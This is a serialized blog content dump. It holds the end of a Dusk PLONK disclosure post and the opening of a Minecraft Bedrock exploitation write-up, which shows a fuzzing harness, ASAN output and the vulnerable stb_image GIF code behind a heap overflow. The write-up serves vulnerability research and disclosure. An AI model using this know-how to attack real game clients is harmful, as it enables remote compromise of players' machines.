well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":22,"tag":53,"props":150488,"children":150489},{"id":64821},[150490],{"type":27,"value":150491},"Disclosure timeline",{"type":22,"tag":59741,"props":150493,"children":150494},{},[150495,150511],{"type":22,"tag":126505,"props":150496,"children":150497},{},[150498],{"type":22,"tag":126509,"props":150499,"children":150500},{},[150501,150506],{"type":22,"tag":126513,"props":150502,"children":150503},{},[150504],{"type":27,"value":150505},"Date",{"type":22,"tag":126513,"props":150507,"children":150508},{},[150509],{"type":27,"value":150510},"Event",{"type":22,"tag":126533,"props":150512,"children":150513},{},[150514,150527,150540,150552,150578,150598],{"type":22,"tag":126509,"props":150515,"children":150516},{},[150517,150522],{"type":22,"tag":126540,"props":150518,"children":150519},{},[150520],{"type":27,"value":150521},"2026-02-13",{"type":22,"tag":126540,"props":150523,"children":150524},{},[150525],{"type":27,"value":150526},"Dusk vulnerability reported",{"type":22,"tag":126509,"props":150528,"children":150529},{},[150530,150535],{"type":22,"tag":126540,"props":150531,"children":150532},{},[150533],{"type":27,"value":150534},"2026-02-14",{"type":22,"tag":126540,"props":150536,"children":150537},{},[150538],{"type":27,"value":150539},"Dusk acknowledged",{"type":22,"tag":126509,"props":150541,"children":150542},{},[150543,150547],{"type":22,"tag":126540,"props":150544,"children":150545},{},[150546],{"type":27,"value":150534},{"type":22,"tag":126540,"props":150548,"children":150549},{},[150550],{"type":27,"value":150551},"Dusk fix committed",{"type":22,"tag":126509,"props":150553,"children":150554},{},[150555,150560],{"type":22,"tag":126540,"props":150556,"children":150557},{},[150558],{"type":27,"value":150559},"2026-02-27",{"type":22,"tag":126540,"props":150561,"children":150562},{},[150563,150565,150576],{"type":27,"value":150564},"Public ",{"type":22,"tag":80,"props":150566,"children":150569},{"href":150567,"rel":150568},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[84],[150570],{"type":22,"tag":30,"props":150571,"children":150573},{"className":150572},[],[150574],{"type":27,"value":150575},"dusk-rusk-1.6.0",{"type":27,"value":150577}," release published",{"type":22,"tag":126509,"props":150579,"children":150580},{},[150581,150586],{"type":22,"tag":126540,"props":150582,"children":150583},{},[150584],{"type":27,"value":150585},"2026-03-16",{"type":22,"tag":126540,"props":150587,"children":150588},{},[150589,150591,150597],{"type":27,"value":150590},"Jellyfish fix PR opened (",{"type":22,"tag":80,"props":150592,"children":150594},{"href":150434,"rel":150593},[84],[150595],{"type":27,"value":150596},"#867",{"type":27,"value":2261},{"type":22,"tag":126509,"props":150599,"children":150600},{},[150601,150606],{"type":22,"tag":126540,"props":150602,"children":150603},{},[150604],{"type":27,"value":150605},"2026-03-18",{"type":22,"tag":126540,"props":150607,"children":150608},{},[150609,150611,150616,150618],{"type":27,"value":150610},"Jellyfish fix merged in ",{"type":22,"tag":80,"props":150612,"children":150614},{"href":150434,"rel":150613},[84],[150615],{"type":27,"value":150596},{"type":27,"value":150617}," and tagged as ",{"type":22,"tag":80,"props":150619,"children":150621},{"href":150443,"rel":150620},[84],[150622],{"type":22,"tag":30,"props":150623,"children":150625},{"className":150624},[],[150626],{"type":27,"value":150451},{"type":22,"tag":53,"props":150628,"children":150630},{"id":150629},"acknowledgements",[150631],{"type":27,"value":150632},"Acknowledgements",{"type":22,"tag":23,"props":150634,"children":150635},{},[150636],{"type":27,"value":150637},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":157,"depth":157,"links":150639},[150640,150647,150648,150649,150650,150651,150652,150653,150654,150655,150656,150657],{"id":145457,"depth":157,"text":145460,"children":150641},[150642,150643,150644,150645,150646],{"id":145482,"depth":182,"text":145485},{"id":146285,"depth":182,"text":146288},{"id":147483,"depth":182,"text":147486},{"id":147513,"depth":182,"text":147516},{"id":147794,"depth":182,"text":147797},{"id":148527,"depth":157,"text":148530},{"id":148665,"depth":157,"text":148668},{"id":93808,"depth":157,"text":149296},{"id":149895,"depth":157,"text":149898},{"id":150032,"depth":157,"text":150035},{"id":150147,"depth":157,"text":150150},{"id":150240,"depth":157,"text":150243},{"id":150307,"depth":157,"text":150310},{"id":150459,"depth":157,"text":150462},{"id":64821,"depth":157,"text":150491},{"id":150629,"depth":157,"text":150632},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":150662,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":150663,"description":150664,"date":150665,"author":127164,"image":150666,"isFeatured":15,"onBlogPage":15,"tags":150668,"body":150671,"_type":6912,"_id":160051,"_source":6914,"_file":160052,"_stem":160053,"_extension":6917},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":150667,"width":100775,"height":17626},"/posts/minecraft-heap-overflow-to-rce/title.png",[150669,150670],"minecraft","rce",{"type":19,"children":150672,"toc":160028},[150673,150678,150683,150688,150694,150699,150718,150723,150729,150734,150739,150745,150750,150755,150760,150766,150771,150776,150782,150802,150814,150821,150843,150857,150864,150870,150880,150900,150905,150911,150924,151269,151274,151282,151288,151307,151615,151643,151686,151698,151706,151711,152180,152199,152220,152562,152586,152858,152882,152909,153118,153137,153145,153164,153170,153232,153235,153257,153261,153266,153271,153277,153282,153296,153302,153316,153322,153335,153340,153348,153353,153359,153380,153388,153401,153404,153409,153423,153428,153433,153439,153444,153467,153472,153478,153483,153495,153507,153621,153641,153646,153651,153657,153662,153682,154297,154310,155384,155389,155397,155402,155408,155413,155421,155434,155439,155444,155451,155464,155469,155476,155531,155551,155558,155577,155584,155587,155592,155597,155603,155615,155628,155636,155707,155718,155752,155760,155765,155770,155776,155788,155807,155819,155824,155832,155851,155859,155878,155886,155912,155920,155925,155933,155938,155946,155949,155954,155959,155965,155978,155996,156034,156064,156072,156077,156083,156088,156093,156099,156111,156280,156292,156300,156305,156312,156317,156378,156425,156437,156442,156468,156542,156580,156585,156593,156614,156619,156645,156679,156732,156779,156785,156804,156836,156844,156947,157018,157024,157050,157057,157062,157069,157074,157315,157341,157346,157394,157399,157405,157437,157449,157481,157489,157528,157536,157541,157549,157554,157562,157574,157582,157594,157602,157614,157634,157640,157660,157677,157685,157697,157705,157724,157729,157737,157742,157750,157776,157787,157794,157799,157807,157812,157820,157825,157833,157838,157846,157851,157859,157864,157872,157913,157920,157925,157933,157938,157946,157951,157959,157964,157969,157977,157982,157990,158016,158024,158050,158058,158063,158071,158076,158084,158092,158097,158105,158110,158118,158121,158132,158166,158184,158192,158212,158218,158237,158295,158315,158323,158326,158365,158425,158430,158436,158449,158457,158509,158548,158556,158589,158592,158612,158620,158626,158631,158639,158679,158720,158740,158745,158750,158768,158774,158779,158798,158859,158867,158893,158899,158919,158924,158929,158936,159001,159006,159013,159034,159039,159051,159057,159090,159097,159102,159130,159137,159193,159205,159212,159273,159292,159298,159332,159353,159380,159388,159441,159511,159517,159537,159580,159585,159983,159989,159994,160005,160009,160014,160019,160024],{"type":22,"tag":39369,"props":150674,"children":150676},{"id":150675},"pwning-minecraft-4-byte-heap-overflow-to-rce",[150677],{"type":27,"value":150663},{"type":22,"tag":23,"props":150679,"children":150680},{},[150681],{"type":27,"value":150682},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":22,"tag":23,"props":150684,"children":150685},{},[150686],{"type":27,"value":150687},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":22,"tag":53,"props":150689,"children":150691},{"id":150690},"the-target",[150692],{"type":27,"value":150693},"The Target",{"type":22,"tag":23,"props":150695,"children":150696},{},[150697],{"type":27,"value":150698},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":22,"tag":23,"props":150700,"children":150701},{},[150702,150704,150709,150711,150716],{"type":27,"value":150703},"There are two main editions: ",{"type":22,"tag":9370,"props":150705,"children":150706},{},[150707],{"type":27,"value":150708},"Minecraft Java Edition",{"type":27,"value":150710},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":22,"tag":9370,"props":150712,"children":150713},{},[150714],{"type":27,"value":150715},"Minecraft Bedrock Edition",{"type":27,"value":150717},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":22,"tag":23,"props":150719,"children":150720},{},[150721],{"type":27,"value":150722},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":22,"tag":1760,"props":150724,"children":150726},{"id":150725},"choice-of-context",[150727],{"type":27,"value":150728},"Choice of Context",{"type":22,"tag":23,"props":150730,"children":150731},{},[150732],{"type":27,"value":150733},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":22,"tag":23,"props":150735,"children":150736},{},[150737],{"type":27,"value":150738},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":22,"tag":1760,"props":150740,"children":150742},{"id":150741},"resource-packs",[150743],{"type":27,"value":150744},"Resource Packs",{"type":22,"tag":23,"props":150746,"children":150747},{},[150748],{"type":27,"value":150749},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":22,"tag":23,"props":150751,"children":150752},{},[150753],{"type":27,"value":150754},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":22,"tag":23,"props":150756,"children":150757},{},[150758],{"type":27,"value":150759},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":22,"tag":53,"props":150761,"children":150763},{"id":150762},"finding-a-memory-corruption-bug",[150764],{"type":27,"value":150765},"Finding a Memory Corruption Bug",{"type":22,"tag":23,"props":150767,"children":150768},{},[150769],{"type":27,"value":150770},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":22,"tag":23,"props":150772,"children":150773},{},[150774],{"type":27,"value":150775},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":22,"tag":1760,"props":150777,"children":150779},{"id":150778},"locating-image-parsing-code",[150780],{"type":27,"value":150781},"Locating Image Parsing Code",{"type":22,"tag":23,"props":150783,"children":150784},{},[150785,150787,150793,150794,150800],{"type":27,"value":150786},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":22,"tag":30,"props":150788,"children":150790},{"className":150789},[],[150791],{"type":27,"value":150792},"PNG",{"type":27,"value":17136},{"type":22,"tag":30,"props":150795,"children":150797},{"className":150796},[],[150798],{"type":27,"value":150799},"GIF",{"type":27,"value":150801}," and look for error logging or other messages that use those substrings.",{"type":22,"tag":23,"props":150803,"children":150804},{},[150805,150807,150812],{"type":27,"value":150806},"Searching for the string ",{"type":22,"tag":30,"props":150808,"children":150810},{"className":150809},[],[150811],{"type":27,"value":150799},{"type":27,"value":150813}," returned some interesting results:",{"type":22,"tag":23,"props":150815,"children":150816},{},[150817],{"type":22,"tag":7959,"props":150818,"children":150820},{"alt":54574,"src":150819},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":22,"tag":23,"props":150822,"children":150823},{},[150824,150826,150833,150835,150842],{"type":27,"value":150825},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":22,"tag":80,"props":150827,"children":150830},{"href":150828,"rel":150829},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[84],[150831],{"type":27,"value":150832},"stb_image.h",{"type":27,"value":150834},". For an example: usage of ",{"type":22,"tag":80,"props":150836,"children":150839},{"href":150837,"rel":150838},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[84],[150840],{"type":27,"value":150841},"bad Image Descriptor",{"type":27,"value":231},{"type":22,"tag":23,"props":150844,"children":150845},{},[150846,150848,150855],{"type":27,"value":150847},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":22,"tag":80,"props":150849,"children":150852},{"href":150850,"rel":150851},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[84],[150853],{"type":27,"value":150854},"stbi__gif_load_next",{"type":27,"value":150856},", and loaded the resource pack - this confirmed its usage:",{"type":22,"tag":23,"props":150858,"children":150859},{},[150860],{"type":22,"tag":7959,"props":150861,"children":150863},{"alt":54574,"src":150862},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":22,"tag":1760,"props":150865,"children":150867},{"id":150866},"stb-image-library",[150868],{"type":27,"value":150869},"STB Image Library",{"type":22,"tag":23,"props":150871,"children":150872},{},[150873,150878],{"type":22,"tag":30,"props":150874,"children":150876},{"className":150875},[],[150877],{"type":27,"value":150832},{"type":27,"value":150879}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":22,"tag":23,"props":150881,"children":150882},{},[150883,150885,150890,150892,150899],{"type":27,"value":150884},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":22,"tag":30,"props":150886,"children":150888},{"className":150887},[],[150889],{"type":27,"value":150832},{"type":27,"value":150891}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":22,"tag":80,"props":150893,"children":150896},{"href":150894,"rel":150895},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[84],[150897],{"type":27,"value":150898},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":27,"value":231},{"type":22,"tag":23,"props":150901,"children":150902},{},[150903],{"type":27,"value":150904},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":22,"tag":22883,"props":150906,"children":150908},{"id":150907},"fuzzing",[150909],{"type":27,"value":150910},"Fuzzing",{"type":22,"tag":23,"props":150912,"children":150913},{},[150914,150916,150923],{"type":27,"value":150915},"The fuzzer consisted of a very simple ",{"type":22,"tag":80,"props":150917,"children":150920},{"href":150918,"rel":150919},"https://github.com/AFLplusplus/AFLplusplus",[84],[150921],{"type":27,"value":150922},"AFL++",{"type":27,"value":30739},{"type":22,"tag":91,"props":150925,"children":150927},{"code":150926,"language":7187,"meta":7,"className":20513,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[150928],{"type":22,"tag":30,"props":150929,"children":150930},{"__ignoreMap":7},[150931,150944,150956,150963,151009,151021,151042,151049,151073,151088,151095,151102,151174,151198,151213,151220,151227,151240,151247,151262],{"type":22,"tag":101,"props":150932,"children":150933},{"class":103,"line":104},[150934,150939],{"type":22,"tag":101,"props":150935,"children":150936},{"style":3595},[150937],{"type":27,"value":150938},"#define",{"type":22,"tag":101,"props":150940,"children":150941},{"style":926},[150942],{"type":27,"value":150943}," STB_IMAGE_IMPLEMENTATION\n",{"type":22,"tag":101,"props":150945,"children":150946},{"class":103,"line":157},[150947,150951],{"type":22,"tag":101,"props":150948,"children":150949},{"style":3595},[150950],{"type":27,"value":93922},{"type":22,"tag":101,"props":150952,"children":150953},{"style":6476},[150954],{"type":27,"value":150955}," \"./stb/stb_image.h\"\n",{"type":22,"tag":101,"props":150957,"children":150958},{"class":103,"line":182},[150959],{"type":22,"tag":101,"props":150960,"children":150961},{"emptyLinePlaceholder":15},[150962],{"type":27,"value":1581},{"type":22,"tag":101,"props":150964,"children":150965},{"class":103,"line":367},[150966,150970,150974,150978,150982,150987,150991,150996,151000,151005],{"type":22,"tag":101,"props":150967,"children":150968},{"style":108},[150969],{"type":27,"value":23037},{"type":22,"tag":101,"props":150971,"children":150972},{"style":926},[150973],{"type":27,"value":94287},{"type":22,"tag":101,"props":150975,"children":150976},{"style":120},[150977],{"type":27,"value":980},{"type":22,"tag":101,"props":150979,"children":150980},{"style":108},[150981],{"type":27,"value":23037},{"type":22,"tag":101,"props":150983,"children":150984},{"style":126},[150985],{"type":27,"value":150986}," argc",{"type":22,"tag":101,"props":150988,"children":150989},{"style":120},[150990],{"type":27,"value":758},{"type":22,"tag":101,"props":150992,"children":150993},{"style":108},[150994],{"type":27,"value":150995},"char",{"type":22,"tag":101,"props":150997,"children":150998},{"style":166},[150999],{"type":27,"value":93388},{"type":22,"tag":101,"props":151001,"children":151002},{"style":126},[151003],{"type":27,"value":151004},"argv",{"type":22,"tag":101,"props":151006,"children":151007},{"style":120},[151008],{"type":27,"value":1463},{"type":22,"tag":101,"props":151010,"children":151011},{"class":103,"line":398},[151012,151016],{"type":22,"tag":101,"props":151013,"children":151014},{"style":108},[151015],{"type":27,"value":23067},{"type":22,"tag":101,"props":151017,"children":151018},{"style":120},[151019],{"type":27,"value":151020}," x, y, comp;\n",{"type":22,"tag":101,"props":151022,"children":151023},{"class":103,"line":428},[151024,151029,151033,151037],{"type":22,"tag":101,"props":151025,"children":151026},{"style":108},[151027],{"type":27,"value":151028}," unsigned",{"type":22,"tag":101,"props":151030,"children":151031},{"style":108},[151032],{"type":27,"value":63046},{"type":22,"tag":101,"props":151034,"children":151035},{"style":166},[151036],{"type":27,"value":13822},{"type":22,"tag":101,"props":151038,"children":151039},{"style":120},[151040],{"type":27,"value":151041},"ret;\n",{"type":22,"tag":101,"props":151043,"children":151044},{"class":103,"line":997},[151045],{"type":22,"tag":101,"props":151046,"children":151047},{"emptyLinePlaceholder":15},[151048],{"type":27,"value":1581},{"type":22,"tag":101,"props":151050,"children":151051},{"class":103,"line":1032},[151052,151056,151061,151065,151069],{"type":22,"tag":101,"props":151053,"children":151054},{"style":3595},[151055],{"type":27,"value":16283},{"type":22,"tag":101,"props":151057,"children":151058},{"style":120},[151059],{"type":27,"value":151060}," (argc ",{"type":22,"tag":101,"props":151062,"children":151063},{"style":166},[151064],{"type":27,"value":19686},{"type":22,"tag":101,"props":151066,"children":151067},{"style":1544},[151068],{"type":27,"value":11944},{"type":22,"tag":101,"props":151070,"children":151071},{"style":120},[151072],{"type":27,"value":1463},{"type":22,"tag":101,"props":151074,"children":151075},{"class":103,"line":1063},[151076,151080,151084],{"type":22,"tag":101,"props":151077,"children":151078},{"style":3595},[151079],{"type":27,"value":19742},{"type":22,"tag":101,"props":151081,"children":151082},{"style":1544},[151083],{"type":27,"value":3648},{"type":22,"tag":101,"props":151085,"children":151086},{"style":120},[151087],{"type":27,"value":1520},{"type":22,"tag":101,"props":151089,"children":151090},{"class":103,"line":1071},[151091],{"type":22,"tag":101,"props":151092,"children":151093},{"style":120},[151094],{"type":27,"value":1734},{"type":22,"tag":101,"props":151096,"children":151097},{"class":103,"line":1110},[151098],{"type":22,"tag":101,"props":151099,"children":151100},{"emptyLinePlaceholder":15},[151101],{"type":27,"value":1581},{"type":22,"tag":101,"props":151103,"children":151104},{"class":103,"line":1118},[151105,151110,151114,151119,151123,151127,151131,151135,151139,151143,151148,151152,151157,151161,151166,151170],{"type":22,"tag":101,"props":151106,"children":151107},{"style":120},[151108],{"type":27,"value":151109}," ret ",{"type":22,"tag":101,"props":151111,"children":151112},{"style":166},[151113],{"type":27,"value":1511},{"type":22,"tag":101,"props":151115,"children":151116},{"style":926},[151117],{"type":27,"value":151118}," stbi_load",{"type":22,"tag":101,"props":151120,"children":151121},{"style":120},[151122],{"type":27,"value":980},{"type":22,"tag":101,"props":151124,"children":151125},{"style":126},[151126],{"type":27,"value":151004},{"type":22,"tag":101,"props":151128,"children":151129},{"style":120},[151130],{"type":27,"value":2414},{"type":22,"tag":101,"props":151132,"children":151133},{"style":1544},[151134],{"type":27,"value":6813},{"type":22,"tag":101,"props":151136,"children":151137},{"style":120},[151138],{"type":27,"value":27047},{"type":22,"tag":101,"props":151140,"children":151141},{"style":166},[151142],{"type":27,"value":985},{"type":22,"tag":101,"props":151144,"children":151145},{"style":120},[151146],{"type":27,"value":151147},"x, ",{"type":22,"tag":101,"props":151149,"children":151150},{"style":166},[151151],{"type":27,"value":985},{"type":22,"tag":101,"props":151153,"children":151154},{"style":120},[151155],{"type":27,"value":151156},"y, ",{"type":22,"tag":101,"props":151158,"children":151159},{"style":166},[151160],{"type":27,"value":985},{"type":22,"tag":101,"props":151162,"children":151163},{"style":120},[151164],{"type":27,"value":151165},"comp, ",{"type":22,"tag":101,"props":151167,"children":151168},{"style":1544},[151169],{"type":27,"value":8065},{"type":22,"tag":101,"props":151171,"children":151172},{"style":120},[151173],{"type":27,"value":994},{"type":22,"tag":101,"props":151175,"children":151176},{"class":103,"line":1158},[151177,151181,151186,151190,151194],{"type":22,"tag":101,"props":151178,"children":151179},{"style":3595},[151180],{"type":27,"value":16283},{"type":22,"tag":101,"props":151182,"children":151183},{"style":120},[151184],{"type":27,"value":151185}," (ret ",{"type":22,"tag":101,"props":151187,"children":151188},{"style":166},[151189],{"type":27,"value":4340},{"type":22,"tag":101,"props":151191,"children":151192},{"style":108},[151193],{"type":27,"value":131277},{"type":22,"tag":101,"props":151195,"children":151196},{"style":120},[151197],{"type":27,"value":1463},{"type":22,"tag":101,"props":151199,"children":151200},{"class":103,"line":1166},[151201,151205,151209],{"type":22,"tag":101,"props":151202,"children":151203},{"style":3595},[151204],{"type":27,"value":19742},{"type":22,"tag":101,"props":151206,"children":151207},{"style":1544},[151208],{"type":27,"value":3648},{"type":22,"tag":101,"props":151210,"children":151211},{"style":120},[151212],{"type":27,"value":1520},{"type":22,"tag":101,"props":151214,"children":151215},{"class":103,"line":1215},[151216],{"type":22,"tag":101,"props":151217,"children":151218},{"style":120},[151219],{"type":27,"value":1734},{"type":22,"tag":101,"props":151221,"children":151222},{"class":103,"line":2425},[151223],{"type":22,"tag":101,"props":151224,"children":151225},{"style":120},[151226],{"type":27,"value":942},{"type":22,"tag":101,"props":151228,"children":151229},{"class":103,"line":5417},[151230,151235],{"type":22,"tag":101,"props":151231,"children":151232},{"style":926},[151233],{"type":27,"value":151234}," stbi_image_free",{"type":22,"tag":101,"props":151236,"children":151237},{"style":120},[151238],{"type":27,"value":151239},"(ret);\n",{"type":22,"tag":101,"props":151241,"children":151242},{"class":103,"line":7714},[151243],{"type":22,"tag":101,"props":151244,"children":151245},{"emptyLinePlaceholder":15},[151246],{"type":27,"value":1581},{"type":22,"tag":101,"props":151248,"children":151249},{"class":103,"line":7723},[151250,151254,151258],{"type":22,"tag":101,"props":151251,"children":151252},{"style":3595},[151253],{"type":27,"value":20986},{"type":22,"tag":101,"props":151255,"children":151256},{"style":1544},[151257],{"type":27,"value":1547},{"type":22,"tag":101,"props":151259,"children":151260},{"style":120},[151261],{"type":27,"value":1520},{"type":22,"tag":101,"props":151263,"children":151264},{"class":103,"line":7791},[151265],{"type":22,"tag":101,"props":151266,"children":151267},{"style":120},[151268],{"type":27,"value":188},{"type":22,"tag":23,"props":151270,"children":151271},{},[151272],{"type":27,"value":151273},"And soon after starting the fuzzer it found an interesting bug:",{"type":22,"tag":91,"props":151275,"children":151277},{"code":151276},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[151278],{"type":22,"tag":30,"props":151279,"children":151280},{"__ignoreMap":7},[151281],{"type":27,"value":151276},{"type":22,"tag":22883,"props":151283,"children":151285},{"id":151284},"investigating-the-finding",[151286],{"type":27,"value":151287},"Investigating the Finding",{"type":22,"tag":23,"props":151289,"children":151290},{},[151291,151293,151299,151300,151305],{"type":27,"value":151292},"The ASAN output shows that at line ",{"type":22,"tag":30,"props":151294,"children":151296},{"className":151295},[],[151297],{"type":27,"value":151298},"6233",{"type":27,"value":146799},{"type":22,"tag":30,"props":151301,"children":151303},{"className":151302},[],[151304],{"type":27,"value":150832},{"type":27,"value":151306}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":22,"tag":91,"props":151308,"children":151310},{"code":151309,"language":7187,"meta":7,"className":20513,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[151311],{"type":22,"tag":30,"props":151312,"children":151313},{"__ignoreMap":7},[151314,151356,151363,151389,151402,151409,151417,151424,151478,151485,151531,151564],{"type":22,"tag":101,"props":151315,"children":151316},{"class":103,"line":104},[151317,151321,151325,151330,151335,151339,151343,151348,151352],{"type":22,"tag":101,"props":151318,"children":151319},{"style":108},[151320],{"type":27,"value":55040},{"type":22,"tag":101,"props":151322,"children":151323},{"style":108},[151324],{"type":27,"value":55045},{"type":22,"tag":101,"props":151326,"children":151327},{"style":926},[151328],{"type":27,"value":151329}," stbi__out_gif_code",{"type":22,"tag":101,"props":151331,"children":151332},{"style":120},[151333],{"type":27,"value":151334},"(stbi__gif ",{"type":22,"tag":101,"props":151336,"children":151337},{"style":166},[151338],{"type":27,"value":8615},{"type":22,"tag":101,"props":151340,"children":151341},{"style":126},[151342],{"type":27,"value":112805},{"type":22,"tag":101,"props":151344,"children":151345},{"style":120},[151346],{"type":27,"value":151347},", stbi__uint16 ",{"type":22,"tag":101,"props":151349,"children":151350},{"style":126},[151351],{"type":27,"value":30},{"type":22,"tag":101,"props":151353,"children":151354},{"style":120},[151355],{"type":27,"value":2510},{"type":22,"tag":101,"props":151357,"children":151358},{"class":103,"line":157},[151359],{"type":22,"tag":101,"props":151360,"children":151361},{"style":120},[151362],{"type":27,"value":14886},{"type":22,"tag":101,"props":151364,"children":151365},{"class":103,"line":182},[151366,151371,151375,151380,151384],{"type":22,"tag":101,"props":151367,"children":151368},{"style":120},[151369],{"type":27,"value":151370}," stbi_uc ",{"type":22,"tag":101,"props":151372,"children":151373},{"style":166},[151374],{"type":27,"value":8615},{"type":22,"tag":101,"props":151376,"children":151377},{"style":120},[151378],{"type":27,"value":151379},"p, ",{"type":22,"tag":101,"props":151381,"children":151382},{"style":166},[151383],{"type":27,"value":8615},{"type":22,"tag":101,"props":151385,"children":151386},{"style":120},[151387],{"type":27,"value":151388},"c;\n",{"type":22,"tag":101,"props":151390,"children":151391},{"class":103,"line":367},[151392,151397],{"type":22,"tag":101,"props":151393,"children":151394},{"style":108},[151395],{"type":27,"value":151396}," int",{"type":22,"tag":101,"props":151398,"children":151399},{"style":120},[151400],{"type":27,"value":151401}," idx; \n",{"type":22,"tag":101,"props":151403,"children":151404},{"class":103,"line":398},[151405],{"type":22,"tag":101,"props":151406,"children":151407},{"emptyLinePlaceholder":15},[151408],{"type":27,"value":1581},{"type":22,"tag":101,"props":151410,"children":151411},{"class":103,"line":428},[151412],{"type":22,"tag":101,"props":151413,"children":151414},{"style":120},[151415],{"type":27,"value":151416}," [...]\n",{"type":22,"tag":101,"props":151418,"children":151419},{"class":103,"line":997},[151420],{"type":22,"tag":101,"props":151421,"children":151422},{"emptyLinePlaceholder":15},[151423],{"type":27,"value":1581},{"type":22,"tag":101,"props":151425,"children":151426},{"class":103,"line":1032},[151427,151431,151435,151439,151443,151448,151452,151457,151461,151466,151470,151474],{"type":22,"tag":101,"props":151428,"children":151429},{"style":3595},[151430],{"type":27,"value":56640},{"type":22,"tag":101,"props":151432,"children":151433},{"style":120},[151434],{"type":27,"value":3603},{"type":22,"tag":101,"props":151436,"children":151437},{"style":126},[151438],{"type":27,"value":112805},{"type":22,"tag":101,"props":151440,"children":151441},{"style":120},[151442],{"type":27,"value":17759},{"type":22,"tag":101,"props":151444,"children":151445},{"style":126},[151446],{"type":27,"value":151447},"cur_y",{"type":22,"tag":101,"props":151449,"children":151450},{"style":166},[151451],{"type":27,"value":12311},{"type":22,"tag":101,"props":151453,"children":151454},{"style":126},[151455],{"type":27,"value":151456}," 